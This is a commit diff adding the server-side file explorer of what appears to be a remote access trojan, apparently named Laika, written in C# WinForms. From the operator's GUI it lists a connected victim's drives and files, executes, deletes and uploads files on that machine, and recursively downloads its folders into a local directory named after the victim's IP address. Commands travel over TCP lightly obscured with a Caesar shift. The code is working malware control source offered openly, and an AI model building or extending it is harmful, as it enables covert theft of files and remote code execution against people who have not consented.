add: GUI Server
This commit is contained in:
469
Server/FileExplorer.cs
Normal file
469
Server/FileExplorer.cs
Normal file
@@ -0,0 +1,469 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using static System.Net.Mime.MediaTypeNames;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
namespace Server
|
||||
{
|
||||
public partial class FileExplorer : Form
|
||||
{
|
||||
public FileExplorer()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
public static int ITEM_ID = 0;
|
||||
public static int CLIENT_ID = 0;
|
||||
public static string PATH = "";
|
||||
public static bool OPENED = false;
|
||||
|
||||
private void GetFileList()
|
||||
{
|
||||
dataGridView2.Rows.Clear();
|
||||
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||
return;
|
||||
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||
c.ReceiveTimeout = 10000;
|
||||
c.Client.Blocking = true;
|
||||
|
||||
string receivedData = "";
|
||||
try
|
||||
{
|
||||
NetworkStream stream = c.GetStream();
|
||||
|
||||
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
|
||||
byte[] buffer = new byte[256 * 4096];
|
||||
int bytesRead;
|
||||
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||
if (receivedData == "")
|
||||
return;
|
||||
receivedData = Utils.CAESAR_DECRYPT(receivedData);
|
||||
string[] files = receivedData.Split('/');
|
||||
int idx = dataGridView2.Rows.Add("");
|
||||
dataGridView2.Rows[idx].Tag = "../.";
|
||||
foreach (string f in files)
|
||||
{
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + f));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
|
||||
buffer = new byte[1];
|
||||
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||
if (receivedData == "")
|
||||
return;
|
||||
|
||||
idx = dataGridView2.Rows.Add("");
|
||||
dataGridView2.Rows[idx].Tag = f;
|
||||
if (receivedData == "d")
|
||||
{
|
||||
dataGridView2.Rows[idx].Tag += "/d";
|
||||
}
|
||||
else
|
||||
{
|
||||
dataGridView2.Rows[idx].Tag += "/f";
|
||||
}
|
||||
}
|
||||
|
||||
c.Client.Blocking = false;
|
||||
} catch
|
||||
{
|
||||
CLIENT_ID = -1;
|
||||
return;
|
||||
}
|
||||
|
||||
dataGridView2.ClearSelection();
|
||||
dataGridView2.Update();
|
||||
}
|
||||
private void FileExplorer_Load(object sender, EventArgs e)
|
||||
{
|
||||
OPENED = true;
|
||||
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||
c.ReceiveTimeout = 10000;
|
||||
c.Client.Blocking = true;
|
||||
|
||||
string receivedData = "";
|
||||
try
|
||||
{
|
||||
NetworkStream stream = c.GetStream();
|
||||
|
||||
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_drives"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
|
||||
byte[] buffer = new byte[256];
|
||||
int bytesRead;
|
||||
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||
c.Client.Blocking = false;
|
||||
} catch
|
||||
{
|
||||
CLIENT_ID = -1;
|
||||
OPENED = false;
|
||||
return;
|
||||
}
|
||||
foreach (char l in receivedData)
|
||||
{
|
||||
comboBox1.Items.Add(l);
|
||||
}
|
||||
comboBox1.SelectedIndex = 0;
|
||||
PATH = comboBox1.Text + ":/";
|
||||
textBox1.Text = PATH;
|
||||
|
||||
dataGridView2.ClearSelection();
|
||||
|
||||
GetFileList();
|
||||
}
|
||||
|
||||
private void dataGridView2_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e)
|
||||
{
|
||||
if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0)
|
||||
{
|
||||
dataGridView2.CurrentCell = dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex];
|
||||
ITEM_ID = dataGridView2.CurrentRow.Index;
|
||||
|
||||
contextMenuStrip1.Show(Cursor.Position);
|
||||
}
|
||||
}
|
||||
|
||||
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
PATH = comboBox1.Text + ":/";
|
||||
textBox1.Text = PATH;
|
||||
GetFileList();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
GetFileList();
|
||||
}
|
||||
|
||||
private void dataGridView2_CellDoubleClick(object sender, DataGridViewCellEventArgs e)
|
||||
{
|
||||
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
|
||||
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
|
||||
|
||||
if (file == ".." && PATH.Length != 3)
|
||||
{
|
||||
PATH = PATH.Remove(PATH.LastIndexOf('/', PATH.Length - 2) + 1);
|
||||
}
|
||||
else if (type != "d")
|
||||
return;
|
||||
else if (file != "..")
|
||||
{
|
||||
PATH += file + "/";
|
||||
}
|
||||
textBox1.Text = PATH;
|
||||
GetFileList();
|
||||
}
|
||||
|
||||
private void executeToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
|
||||
|
||||
try
|
||||
{
|
||||
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||
return;
|
||||
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||
c.ReceiveTimeout = 10000;
|
||||
c.Client.Blocking = true;
|
||||
NetworkStream stream = c.GetStream();
|
||||
|
||||
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("execute"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
|
||||
c.Client.Blocking = false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
CLIENT_ID = -1;
|
||||
OPENED = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private void dataGridView2_CellPainting(object sender, DataGridViewCellPaintingEventArgs e)
|
||||
{
|
||||
if (e.ColumnIndex == 0 && e.RowIndex >= 0)
|
||||
{
|
||||
e.Paint(e.CellBounds, DataGridViewPaintParts.All);
|
||||
|
||||
string tmp = dataGridView2.Rows[e.RowIndex].Tag?.ToString();
|
||||
if (tmp == null)
|
||||
return;
|
||||
string type = tmp.Split('/').Last();
|
||||
var isDirectory = type == "d";
|
||||
var icon = isDirectory ? Properties.Resources.folder : Properties.Resources.file;
|
||||
if (type == ".")
|
||||
icon = Properties.Resources.up_arrow;
|
||||
|
||||
int iconWidth = 16;
|
||||
int iconHeight = 16;
|
||||
int iconX = e.CellBounds.Left + 3;
|
||||
int iconY = e.CellBounds.Top + (e.CellBounds.Height - iconHeight) / 2;
|
||||
e.Graphics.DrawImage(icon, new Rectangle(iconX, iconY, iconWidth, iconHeight));
|
||||
|
||||
var text = tmp.Split('/').First();
|
||||
var textX = iconX + iconWidth + 5;
|
||||
var textY = e.CellBounds.Top + (e.CellBounds.Height - e.CellStyle.Font.Height) / 2;
|
||||
e.Graphics.DrawString(text, e.CellStyle.Font, Brushes.Black, textX, textY);
|
||||
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
|
||||
private void textBox1_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyCode == Keys.Enter)
|
||||
{
|
||||
e.SuppressKeyPress = true; // Prevent the beep sound on Enter key
|
||||
PATH = textBox1.Text;
|
||||
if (PATH.Last() != '/')
|
||||
PATH += '/';
|
||||
textBox1.Text = PATH;
|
||||
textBox1.SelectionStart = textBox1.TextLength;
|
||||
GetFileList();
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
|
||||
private void contextMenuStrip1_Opening(object sender, CancelEventArgs e)
|
||||
{
|
||||
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
|
||||
|
||||
executeToolStripMenuItem.Visible = type != "d";
|
||||
}
|
||||
|
||||
private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
OPENED = false;
|
||||
}
|
||||
|
||||
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
|
||||
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
|
||||
|
||||
try
|
||||
{
|
||||
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||
return;
|
||||
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||
c.ReceiveTimeout = 10000;
|
||||
c.Client.Blocking = true;
|
||||
NetworkStream stream = c.GetStream();
|
||||
|
||||
byte[] Message = new byte[20];
|
||||
if (type == "d")
|
||||
{
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_dir"));
|
||||
} else
|
||||
{
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_file"));
|
||||
}
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
|
||||
c.Client.Blocking = false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
CLIENT_ID = -1;
|
||||
OPENED = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
OpenFileDialog openFileDialog = new OpenFileDialog
|
||||
{
|
||||
Title = "Select your file"
|
||||
};
|
||||
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
|
||||
string filePath = openFileDialog.FileName;
|
||||
string fileNameWithExtension = Path.GetFileName(filePath);
|
||||
|
||||
try
|
||||
{
|
||||
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||
return;
|
||||
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||
c.ReceiveTimeout = 10000;
|
||||
c.Client.Blocking = true;
|
||||
NetworkStream stream = c.GetStream();
|
||||
|
||||
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("upload_file"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + fileNameWithExtension));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
byte[] fileContent = File.ReadAllBytes(filePath);
|
||||
stream.Write(fileContent, 0, fileContent.Length);
|
||||
|
||||
c.Client.Blocking = false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
CLIENT_ID = -1;
|
||||
OPENED = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private void DownloadFile(string file, NetworkStream stream, TcpClient c)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
Shell.ClearSocketData(c);
|
||||
|
||||
byte[] Message = new byte[4096];
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("download_file"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0];
|
||||
if (!Directory.Exists(foldername))
|
||||
Directory.CreateDirectory(foldername);
|
||||
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(file));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
|
||||
byte[] delimiter = Encoding.UTF8.GetBytes("<Laika:EOF>");
|
||||
int delimiterLength = delimiter.Length;
|
||||
List<byte> receivedBytes = new List<byte>();
|
||||
byte[] buffer = new byte[4096];
|
||||
int bytesRead;
|
||||
|
||||
using (FileStream fileStream = new FileStream(foldername + "/" + file.Replace(PATH, ""), FileMode.Create, FileAccess.Write))
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||
if (bytesRead == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
receivedBytes.AddRange(buffer.Take(bytesRead));
|
||||
|
||||
while (receivedBytes.Count >= delimiterLength)
|
||||
{
|
||||
int endIndex = receivedBytes.Count - delimiterLength;
|
||||
if (receivedBytes.Skip(endIndex).Take(delimiterLength).SequenceEqual(delimiter))
|
||||
{
|
||||
fileStream.Write(receivedBytes.ToArray(), 0, endIndex);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
fileStream.WriteByte(receivedBytes[0]);
|
||||
receivedBytes.RemoveAt(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (receivedBytes.Count > 0)
|
||||
{
|
||||
fileStream.Write(receivedBytes.ToArray(), 0, receivedBytes.Count);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DownloadFolder(string folder, string path, NetworkStream stream, TcpClient c)
|
||||
{
|
||||
if (!Directory.Exists(path))
|
||||
Directory.CreateDirectory(path);
|
||||
|
||||
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
byte[] buffer = new byte[256 * 4096];
|
||||
int bytesRead;
|
||||
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||
string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||
if (receivedData == "")
|
||||
return;
|
||||
receivedData = Utils.CAESAR_DECRYPT(receivedData);
|
||||
foreach (string e in receivedData.Split('/'))
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info"));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/" + e));
|
||||
stream.Write(Message, 0, Message.Length);
|
||||
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||
string infos = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||
if (infos.Split('/')[0] == "f")
|
||||
{
|
||||
DownloadFile(folder + "/" + e, stream, c);
|
||||
continue;
|
||||
} else
|
||||
{
|
||||
DownloadFolder(folder + "/" + e, path + "/" + e, stream, c);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
|
||||
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
|
||||
|
||||
try
|
||||
{
|
||||
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||
return;
|
||||
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||
c.ReceiveTimeout = 10000;
|
||||
c.Client.Blocking = true;
|
||||
NetworkStream stream = c.GetStream();
|
||||
|
||||
if (type == "d")
|
||||
{
|
||||
string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0];
|
||||
if (!Directory.Exists(foldername))
|
||||
Directory.CreateDirectory(foldername);
|
||||
DownloadFolder(PATH + file, foldername + "/" + file, stream, c);
|
||||
}
|
||||
else
|
||||
{
|
||||
DownloadFile(PATH + file, stream, c);
|
||||
}
|
||||
|
||||
c.Client.Blocking = false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
CLIENT_ID = -1;
|
||||
OPENED = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user